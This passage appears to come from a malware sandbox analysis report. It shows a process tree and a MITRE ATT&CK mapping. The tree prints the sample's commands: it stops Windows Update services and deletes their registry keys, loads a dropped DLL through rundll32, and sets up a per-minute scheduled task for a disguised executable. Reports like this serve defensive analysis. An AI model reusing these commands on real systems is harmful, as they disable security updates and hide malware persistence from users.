  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1532
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4844
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:208
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4648
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4764
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3192
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4148
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2992
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2796
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1956
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:1972
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:3308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1428 -ip 1428
1⤵
PID:2072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4120 -ip 4120
1⤵
PID:1884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4068 -ip 4068
1⤵
PID:2052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1904 -ip 1904
1⤵
PID:4384

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:3864
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3864 -s 604
    3⤵
    - Program crash
    PID:2580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3864 -ip 3864
1⤵
PID:2592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2692 -ip 2692
1⤵
PID:2136

C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
1⤵
- Executes dropped EXE
PID:2500

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4416
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5084 -ip 5084
1⤵
PID:4300

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
PID:3864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery